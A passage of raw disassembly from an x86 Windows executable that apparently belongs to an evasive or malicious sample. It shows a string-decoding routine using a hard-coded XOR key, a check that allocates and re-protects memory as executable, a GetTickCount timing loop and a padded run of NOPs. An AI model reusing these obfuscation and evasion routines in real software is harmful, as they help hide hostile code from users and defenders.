		push	offset dword_4220A8
		call	__SEH_prolog4
		mov	edi, ds:dword_41E108
		call	edi	; GetTickCount
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	24h
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	ebx
		mov	esi, ds:off_41E028
		call	esi ; sub_441F0A
		test	eax, eax
		jnz	short loc_401A37

loc_401A2C:				; CODE XREF: sub_4019FC+61j
					; sub_4019FC+8Aj ...
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		jmp	loc_401ACB
; ---------------------------------------------------------------------------

loc_401A37:				; CODE XREF: sub_4019FC+2Ej
		cmp	[ebp+var_38], 1
		jz	loc_401AC9
		jmp	short loc_401A71
; ---------------------------------------------------------------------------

loc_401A43:				; CODE XREF: sub_4019FC+79j
		push	[ebp+var_24]
		call	ds:off_41E0FC
		lea	eax, [ebp+var_1C]
		push	eax
		push	24h
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	ebx
		call	esi ; sub_441F0A
		test	eax, eax
		jz	short loc_401A2C
		cmp	[ebp+var_38], 1
		jz	short loc_401AC9
		call	edi	; GetTickCount
		sub	eax, [ebp+var_20]
		cmp	eax, 12Ch
		ja	short loc_401A8A

loc_401A71:				; CODE XREF: sub_4019FC+45j
		cmp	[ebp+var_38], 3
		jz	short loc_401A43
		lea	eax, [ebp+var_3C]
		push	eax
		push	1
		push	ebx
		call	ds:off_41E01C
		test	eax, eax
		jz	short loc_401A2C
		jmp	short loc_401AC3
; ---------------------------------------------------------------------------

loc_401A8A:				; CODE XREF: sub_4019FC+73j
					; sub_4019FC+C5j
		mov	eax, 5B4h
		jmp	short loc_401ACB
; ---------------------------------------------------------------------------

loc_401A91:				; CODE XREF: sub_4019FC+CBj
		push	[ebp+var_24]
		call	ds:off_41E0FC
		lea	eax, [ebp+var_1C]
		push	eax
		push	24h
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	ebx
		call	esi ; sub_441F0A
		test	eax, eax
		jz	loc_401A2C
		cmp	[ebp+var_38], 1
		jz	short loc_401AC9
		call	edi	; GetTickCount
		sub	eax, [ebp+var_20]
		cmp	eax, 12Ch
		ja	short loc_401A8A

loc_401AC3:				; CODE XREF: sub_4019FC+8Cj
		cmp	[ebp+var_38], 1
		jnz	short loc_401A91

loc_401AC9:				; CODE XREF: sub_4019FC+3Fj
					; sub_4019FC+67j ...
		xor	eax, eax

loc_401ACB:				; CODE XREF: sub_4019FC+36j
					; sub_4019FC+93j
		call	__SEH_epilog4
		retn
sub_4019FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AD1	proc near		; CODE XREF: sub_401000+370p
					; sub_4026EE+133p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	esi
		call	sub_40CBA0
		push	ebx
		call	sub_40C9B0
		add	esp, 10h
		test	eax, eax
		jbe	short loc_401B42
		mov	eax, [ebp+arg_0]
		dec	eax
		mov	[ebp+var_4], eax

loc_401AF6:				; CODE XREF: sub_401AD1+6Fj
		push	offset aLvrycadshccnke ; "lVrYcaDShccnkEfF"
		call	sub_40C9B0
		test	eax, eax
		pop	ecx
		jz	short loc_401B07
		xor	eax, eax

loc_401B07:				; CODE XREF: sub_401AD1+32j
		movsx	ecx, byte ptr [edi+ebx]
		movsx	eax, byte ptr aLvrycadshccnke[eax] ; "lVrYcaDShccnkEfF"
		xor	ecx, eax
		xor	ecx, 0FDh
		push	ecx
		push	esi
		push	offset aSC	; "%s%c"
		push	[ebp+var_4]
		push	esi
		call	sub_40CAE4
		push	esi
		call	sub_40C9B0
		push	ebx
		mov	byte ptr [eax+esi], 0
		inc	edi
		call	sub_40C9B0
		add	esp, 1Ch
		cmp	edi, eax
		jb	short loc_401AF6

loc_401B42:				; CODE XREF: sub_401AD1+1Cj
		mov	eax, esi
		pop	edi
		leave
		retn
sub_401AD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B47	proc near		; CODE XREF: sub_404954:loc_4049E7p

var_18		= byte ptr -18h
var_15		= dword	ptr -15h
var_C		= byte ptr -0Ch
var_7		= byte ptr -7
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		call	ds:dword_41E0D0	; GetCurrentProcess
		mov	esi, offset dword_4200EC
		lea	edi, [ebp+var_18]
		movsd
		movsd
		push	40h
		push	3000h
		movsb
		push	6
		mov	ebx, eax
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_C]
		push	ebx
		mov	[ebp+var_15], eax
		call	ds:dword_41E0C4	; VirtualAllocEx
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_401B90

loc_401B8C:				; CODE XREF: sub_401B47+58j
		xor	al, al
		jmp	short loc_401BC7
; ---------------------------------------------------------------------------

loc_401B90:				; CODE XREF: sub_401B47+43j
		push	edi
		push	40h
		push	6
		push	esi
		push	ebx
		call	ds:dword_41E0C8	; VirtualProtectEx
		test	eax, eax
		jnz	short loc_401B8C
		push	8
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_40CC20
		add	esp, 0Ch
		call	esi	; CloseHandle
		push	8000h
		push	edi
		push	esi
		push	ebx
		call	ds:dword_41E0CC	; VirtualFreeEx
		cmp	[ebp+var_7], 0D0h
		setnbe	al

loc_401BC7:				; CODE XREF: sub_401B47+47j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_401B47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BD6	proc near		; CODE XREF: sub_401D9E+79p
					; sub_401E30+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D357
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_401BD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BF2	proc near		; CODE XREF: sub_401F09+50p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF85
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_401BF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C0E	proc near		; DATA XREF: ev73vtp2:0042209Co
		mov	dword ptr [ecx], offset	off_41E304
		jmp	sub_40D0AF
sub_401C0E	endp

; ---------------------------------------------------------------------------

loc_401C19:				; DATA XREF: ev73vtp2:off_41E304o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41E304
		call	sub_40D0AF
		test	byte ptr [esp+8], 1
		jz	short loc_401C35
		push	esi
		call	sub_40D352
		pop	ecx

loc_401C35:				; CODE XREF: .text:00401C2Cj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_401C3B	proc near		; CODE XREF: sub_401E7B+43p
					; sub_4084E5+43p ...
		push	4
		mov	eax, offset loc_41DBAC
		call	sub_40EAAD
		mov	esi, ecx
		mov	[ebp-10h], esi
		call	sub_40CFE0
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41E310
		call	sub_401D6E
		mov	eax, esi
		call	sub_40EB4C
		retn	4
sub_401C3B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401C70	proc near		; CODE XREF: .text:00401C9Ep
					; .text:00401CBDj ...
		push	esi
		mov	esi, ecx
		push	0
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41E310
		call	sub_401E30
		mov	ecx, esi
		pop	esi
		jmp	sub_40D0AF
sub_401C70	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C8D	proc near		; DATA XREF: ev73vtp2:off_41E310o
					; ev73vtp2:0041E320o ...
		cmp	dword ptr [ecx+24h], 10h
		jb	short loc_401C97
		mov	eax, [ecx+10h]
		retn
; ---------------------------------------------------------------------------

loc_401C97:				; CODE XREF: sub_401C8D+4j
		lea	eax, [ecx+10h]
		retn
sub_401C8D	endp

; ---------------------------------------------------------------------------

loc_401C9B:				; DATA XREF: ev73vtp2:off_41E310o
		push	esi
		mov	esi, ecx
		call	sub_401C70
		test	byte ptr [esp+8], 1
		jz	short loc_401CB1
		push	esi
		call	sub_40D352
		pop	ecx

loc_401CB1:				; CODE XREF: .text:00401CA8j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_401CB7:				; DATA XREF: ev73vtp2:00422064o
		mov	dword ptr [ecx], offset	nullsub_1
		jmp	sub_401C70
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_401C70
		test	byte ptr [esp+8], 1
		jz	short loc_401CDE
		push	esi
		call	sub_40D352
		pop	ecx

loc_401CDE:				; CODE XREF: .text:00401CD5j
		mov	eax, esi
		pop	esi
		retn	4
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_301. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401CE7	proc near		; CODE XREF: .text:0041DCEDp
					; .text:0041DD09p ...

var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	dword ptr [esi], offset	off_42010C
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	eax
		lea	eax, [ebp+var_104]
		push	100h
		push	eax
		mov	[ebp+var_108], esi
		call	sub_40CAE4
		mov	eax, dword_433CA0
		add	esp, 0Ch
		lea	edx, [ebp+var_108]
		push	edx
		mov	ecx, offset dword_433C9C
		push	eax
		push	ecx
		call	sub_401E7B
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		mov	eax, esi
		call	sub_40AFEE
		leave
		retn	4
sub_401CE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D6E	proc near		; CODE XREF: sub_401C3B+26p
					; sub_402043+2Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401F78
		push	0FFFFFFFFh
		push	0
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_401D9E
		mov	eax, esi
		pop	esi
		retn	4
sub_401D6E	endp

; ---------------------------------------------------------------------------

loc_401D94:				; CODE XREF: .text:0041DB4Ej
					; .text:0041DBCAj
		push	0
		push	1
		call	sub_401E30
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D9E	proc near		; CODE XREF: sub_401D6E+1Bp
					; sub_40219E+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], eax
		mov	ebx, ecx
		jnb	short loc_401DB6
		call	sub_40AF97

loc_401DB6:				; CODE XREF: sub_401D9E+11j
		mov	esi, [edi+14h]
		mov	eax, [ebp+arg_4]
		sub	esi, eax
		cmp	[ebp+arg_8], esi
		jnb	short loc_401DC6
		mov	esi, [ebp+arg_8]

loc_401DC6:				; CODE XREF: sub_401D9E+23j
		cmp	ebx, edi
		mov	ecx, ebx
		jnz	short loc_401DE4
		push	0FFFFFFFFh
		add	esi, eax
		push	esi
		call	sub_401F09
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	0
		call	sub_401F09
		jmp	short loc_401E27
; ---------------------------------------------------------------------------

loc_401DE4:				; CODE XREF: sub_401D9E+2Cj
		push	0
		push	esi
		call	sub_401F94
		test	al, al
		jz	short loc_401E27
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_401DFB
		mov	edi, [edi+4]
		jmp	short loc_401DFE
; ---------------------------------------------------------------------------

loc_401DFB:				; CODE XREF: sub_401D9E+56j
		add	edi, 4

loc_401DFE:				; CODE XREF: sub_401D9E+5Bj
		mov	ecx, [ebx+18h]
		cmp	ecx, 10h
		jb	short loc_401E0B
		mov	eax, [ebx+4]
		jmp	short loc_401E0E
; ---------------------------------------------------------------------------

loc_401E0B:				; CODE XREF: sub_401D9E+66j
		lea	eax, [ebx+4]

loc_401E0E:				; CODE XREF: sub_401D9E+6Bj
		mov	edx, [ebp+arg_4]
		push	esi
		add	edi, edx
		push	edi
		push	ecx
		push	eax
		call	sub_401BD6
		add	esp, 10h
		push	esi
		mov	ecx, ebx
		call	sub_401F78

loc_401E27:				; CODE XREF: sub_401D9E+44j
					; sub_401D9E+50j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	0Ch
sub_401D9E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401E30	proc near		; CODE XREF: sub_401C70+10p
					; .text:00401D98p ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_401E65
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_401E65
		cmp	[esp+4+arg_4], 0
		lea	eax, [esi+4]
		push	edi
		mov	edi, [eax]
		jbe	short loc_401E5D
		push	[esp+8+arg_4]
		push	edi
		push	10h
		push	eax
		call	sub_401BD6
		add	esp, 10h

loc_401E5D:				; CODE XREF: sub_401E30+1Bj
		push	edi
		call	sub_40D352
		pop	ecx
		pop	edi

loc_401E65:				; CODE XREF: sub_401E30+8j
					; sub_401E30+Ej
		push	[esp+4+arg_4]
		mov	ecx, esi
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401F78
		pop	esi
		retn	8
sub_401E30	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E7B	proc near		; CODE XREF: sub_401CE7+72p
		push	44h
		mov	eax, offset sub_41DB53
		call	sub_40EAAD
		push	dword ptr [ebp+10h]
		mov	esi, [ebp+0Ch]
		push	dword ptr [esi+4]
		push	esi
		call	sub_401FF2
		mov	ecx, 0FC0FC0h
		sub	ecx, dword_433CA4
		cmp	ecx, 1
		jnb	short loc_401ED8
		push	offset aListTTooLong ; "list<T>	too long"
		lea	ecx, [ebp-28h]
		call	sub_40207D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401C3B
		push	offset dword_422060
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset nullsub_1
		call	sub_40E69C

loc_401ED8:				; CODE XREF: sub_401E7B+29j
		inc	dword_433CA4
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		mov	[ecx], eax
		call	sub_40EB4C
		retn	0Ch
sub_401E7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401EEE	proc near		; CODE XREF: .text:loc_41DCA8p
		push	10Ch
		call	loc_40D430
		test	eax, eax
		pop	ecx
		jz	short loc_401EFF
		mov	[eax], eax

loc_401EFF:				; CODE XREF: sub_401EEE+Dj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short locret_401F08
		mov	[ecx], eax

locret_401F08:				; CODE XREF: sub_401EEE+16j
		retn
sub_401EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F09	proc near		; CODE XREF: sub_401D9E+33p
					; sub_401D9E+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		cmp	[esi+14h], edi
		jnb	short loc_401F1D
		call	sub_40AF97

loc_401F1D:				; CODE XREF: sub_401F09+Dj
		mov	eax, [esi+14h]
		sub	eax, edi
		cmp	eax, [ebp+arg_4]
		jnb	short loc_401F2A
		mov	[ebp+arg_4], eax

loc_401F2A:				; CODE XREF: sub_401F09+1Cj
		cmp	[ebp+arg_4], 0
		jbe	short loc_401F70
		mov	ecx, [esi+18h]
		cmp	ecx, 10h
		push	ebx
		lea	edx, [esi+4]
		jb	short loc_401F40
		mov	ebx, [edx]
		jmp	short loc_401F42
; ---------------------------------------------------------------------------

loc_401F40:				; CODE XREF: sub_401F09+31j
		mov	ebx, edx

loc_401F42:				; CODE XREF: sub_401F09+35j
		cmp	ecx, 10h
		jb	short loc_401F49
		mov	edx, [edx]

loc_401F49:				; CODE XREF: sub_401F09+3Cj
		sub	eax, [ebp+arg_4]
		add	ebx, edi
		add	ebx, [ebp+arg_4]
		push	eax
		push	ebx
		sub	ecx, edi
		push	ecx
		add	edx, edi
		push	edx
		call	sub_401BF2
		mov	eax, [esi+14h]
		sub	eax, [ebp+arg_4]
		add	esp, 10h
		push	eax
		mov	ecx, esi
		call	sub_401F78
		pop	ebx

loc_401F70:				; CODE XREF: sub_401F09+25j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_401F09	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401F78	proc near		; CODE XREF: sub_401D6E+Cp
					; sub_401D9E+84p ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+18h], 10h
		mov	eax, [esp+arg_0]
		mov	[ecx+14h], eax
		jb	short loc_401F8A
		mov	ecx, [ecx+4]
		jmp	short loc_401F8D
; ---------------------------------------------------------------------------

loc_401F8A:				; CODE XREF: sub_401F78+Bj
		add	ecx, 4

loc_401F8D:				; CODE XREF: sub_401F78+10j
		mov	byte ptr [ecx+eax], 0
		retn	4
sub_401F78	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F94	proc near		; CODE XREF: sub_401D9E+49p
					; sub_40219E+39p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		cmp	edi, 0FFFFFFFEh
		mov	esi, ecx
		jbe	short loc_401FA6
		call	sub_40AF58

loc_401FA6:				; CODE XREF: sub_401F94+Bj
		cmp	[esi+18h], edi
		jnb	short loc_401FB8
		push	dword ptr [esi+14h]
		mov	ecx, esi
		push	edi
		call	sub_40209F
		jmp	short loc_401FE5
; ---------------------------------------------------------------------------

loc_401FB8:				; CODE XREF: sub_401F94+15j
		cmp	[esp+8+arg_4], 0
		jz	short loc_401FD9
		cmp	edi, 10h
		jnb	short loc_401FD9
		mov	eax, [esi+14h]
		cmp	edi, eax
		jnb	short loc_401FCD
		mov	eax, edi

loc_401FCD:				; CODE XREF: sub_401F94+35j
		push	eax
		push	1
		mov	ecx, esi
		call	sub_401E30
		jmp	short loc_401FE5
; ---------------------------------------------------------------------------

loc_401FD9:				; CODE XREF: sub_401F94+29j
					; sub_401F94+2Ej
		test	edi, edi
		jnz	short loc_401FE5
		push	edi
		mov	ecx, esi
		call	sub_401F78

loc_401FE5:				; CODE XREF: sub_401F94+22j
					; sub_401F94+43j ...
		xor	eax, eax
		cmp	eax, edi
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		retn	8
sub_401F94	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FF2	proc near		; CODE XREF: sub_401E7B+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	10Ch
		call	loc_40D430
		test	eax, eax
		pop	ecx
		jz	short loc_402007
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx

loc_402007:				; CODE XREF: sub_401FF2+Dj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_402014
		mov	edx, [esp+arg_4]
		mov	[ecx], edx

loc_402014:				; CODE XREF: sub_401FF2+1Aj
		push	edi
		lea	edi, [eax+8]
		test	edi, edi
		jz	short loc_402027
		push	esi
		mov	esi, [esp+8+arg_8]
		push	41h
		pop	ecx
		rep movsd
		pop	esi

loc_402027:				; CODE XREF: sub_401FF2+28j
		pop	edi
		retn	0Ch
sub_401FF2	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_402043
		mov	dword ptr [esi], offset	nullsub_1
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_402043	proc near		; CODE XREF: .text:00402032p
					; sub_40AF97+46p
		push	4
		mov	eax, offset loc_41DBAC
		call	sub_40EAAD
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	edi, [ebp+8]
		push	edi
		call	sub_40D057
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41E310
		call	sub_401D6E
		mov	eax, esi
		call	sub_40EB4C
		retn	4
sub_402043	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40207D	proc near		; CODE XREF: sub_401E7B+33p
					; sub_4084E5+33p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401F78
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_402181
		mov	eax, esi
		pop	esi
		retn	4
sub_40207D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40209F	proc near		; CODE XREF: sub_401F94+1Dp
		push	0Ch
		mov	eax, offset loc_41DB89
		call	sub_40EAE0
		mov	edi, ecx
		mov	[ebp-18h], edi
		mov	esi, [ebp+8]
		or	esi, 0Fh
		cmp	esi, 0FFFFFFFEh
		jbe	short loc_4020C0
		mov	esi, [ebp+8]
		jmp	short loc_4020E5
; ---------------------------------------------------------------------------

loc_4020C0:				; CODE XREF: sub_40209F+1Aj
		xor	edx, edx
		push	3
		mov	eax, esi
		pop	ebx
		div	ebx
		mov	ecx, [edi+18h]
		mov	[ebp-14h], ecx
		shr	dword ptr [ebp-14h], 1
		mov	edx, [ebp-14h]
		cmp	eax, edx
		jnb	short loc_4020E5
		push	0FFFFFFFEh
		pop	eax
		sub	eax, edx
		cmp	ecx, eax
		ja	short loc_4020E5
		lea	esi, [edx+ecx]

loc_4020E5:				; CODE XREF: sub_40209F+1Fj
					; sub_40209F+38j ...
		and	dword ptr [ebp-4], 0
		lea	eax, [esi+1]
		push	0
		push	eax
		call	sub_402244
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_402124
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-10h], esp
		mov	[ebp+8], eax
		inc	eax
		push	0
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_402244
		pop	ecx
		mov	[ebp-14h], eax
		pop	ecx
		mov	eax, offset loc_40211B
		retn
; ---------------------------------------------------------------------------

loc_40211B:				; DATA XREF: sub_40209F+76o
		mov	edi, [ebp-18h]
		mov	esi, [ebp+8]
		mov	ebx, [ebp-14h]

loc_402124:				; CODE XREF: sub_40209F+59j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_402149
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_402135
		mov	eax, [edi+4]
		jmp	short loc_402138
; ---------------------------------------------------------------------------

loc_402135:				; CODE XREF: sub_40209F+8Fj
		lea	eax, [edi+4]

loc_402138:				; CODE XREF: sub_40209F+94j
		push	dword ptr [ebp+0Ch]
		push	eax
		lea	eax, [esi+1]
		push	eax
		push	ebx
		call	sub_401BD6
		add	esp, 10h

loc_402149:				; CODE XREF: sub_40209F+89j
		push	0
		push	1
		mov	ecx, edi
		call	sub_401E30
		push	dword ptr [ebp+0Ch]
		mov	ecx, edi
		mov	[edi+4], ebx
		mov	[edi+18h], esi
		call	sub_401F78
		call	sub_40EB4C
		retn	8
sub_40209F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		xor	esi, esi
		push	esi
		push	1
		call	sub_401E30
		push	esi
		push	esi
		call	sub_40E69C
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================



sub_402181	proc near		; CODE XREF: sub_40207D+17p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_40C9B0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40219E
		pop	esi
		retn	4
sub_402181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40219E	proc near		; CODE XREF: sub_402181+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_402210
		test	al, al
		jz	short loc_4021D0
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_4021BD
		mov	eax, [esi+4]
		jmp	short loc_4021C0
; ---------------------------------------------------------------------------

loc_4021BD:				; CODE XREF: sub_40219E+18j
		lea	eax, [esi+4]

loc_4021C0:				; CODE XREF: sub_40219E+1Dj
		push	[ebp+arg_4]
		sub	edi, eax
		push	edi
		push	esi
		mov	ecx, esi
		call	sub_401D9E
		jmp	short loc_40220A
; ---------------------------------------------------------------------------

loc_4021D0:				; CODE XREF: sub_40219E+12j
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_401F94
		test	al, al
		jz	short loc_402208
		mov	ecx, [esi+18h]
		cmp	ecx, 10h
		jb	short loc_4021ED
		mov	eax, [esi+4]
		jmp	short loc_4021F0
; ---------------------------------------------------------------------------

loc_4021ED:				; CODE XREF: sub_40219E+48j
		lea	eax, [esi+4]

loc_4021F0:				; CODE XREF: sub_40219E+4Dj
		push	[ebp+arg_4]
		push	edi
		push	ecx
		push	eax
		call	sub_401BD6
		add	esp, 10h
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_401F78

loc_402208:				; CODE XREF: sub_40219E+40j
		mov	eax, esi

loc_40220A:				; CODE XREF: sub_40219E+30j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40219E	endp


; =============== S U B	R O U T	I N E =======================================



sub_402210	proc near		; CODE XREF: sub_40219E+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx+18h]
		cmp	esi, 10h
		lea	eax, [ecx+4]
		jb	short loc_402220
		mov	edx, [eax]
		jmp	short loc_402222
; ---------------------------------------------------------------------------

loc_402220:				; CODE XREF: sub_402210+Aj
		mov	edx, eax

loc_402222:				; CODE XREF: sub_402210+Ej
		cmp	[esp+4+arg_0], edx
		jb	short loc_40223E
		cmp	esi, 10h
		jb	short loc_40222F
		mov	eax, [eax]

loc_40222F:				; CODE XREF: sub_402210+1Bj
		mov	ecx, [ecx+14h]
		add	ecx, eax
		cmp	ecx, [esp+4+arg_0]
		jbe	short loc_40223E
		mov	al, 1
		jmp	short loc_402240
; ---------------------------------------------------------------------------

loc_40223E:				; CODE XREF: sub_402210+16j
					; sub_402210+28j
		xor	al, al

loc_402240:				; CODE XREF: sub_402210+2Cj
		pop	esi
		retn	4
sub_402210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402244	proc near		; CODE XREF: sub_40209F+50p
					; sub_40209F+6Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		sub	esp, 0Ch
		test	ecx, ecx
		ja	short loc_40225C
		xor	ecx, ecx

loc_402253:				; CODE XREF: sub_402244+22j
		push	ecx
		call	loc_40D430
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40225C:				; CODE XREF: sub_402244+Bj
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 1
		jnb	short loc_402253
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		call	sub_40CFF1
		push	offset dword_422098
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_C], offset off_41E304
		call	sub_40E69C
		int	3		; Trap to Debugger
		push	esi
		push	[esp+10h+var_8]
		mov	esi, ecx
		call	sub_40D057
		mov	dword ptr [esi], offset	off_41E304
		mov	eax, esi
		pop	esi
		retn	4
sub_402244	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022A6	proc near		; CODE XREF: sub_40936F+11Dp

var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= byte ptr -50Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 528h
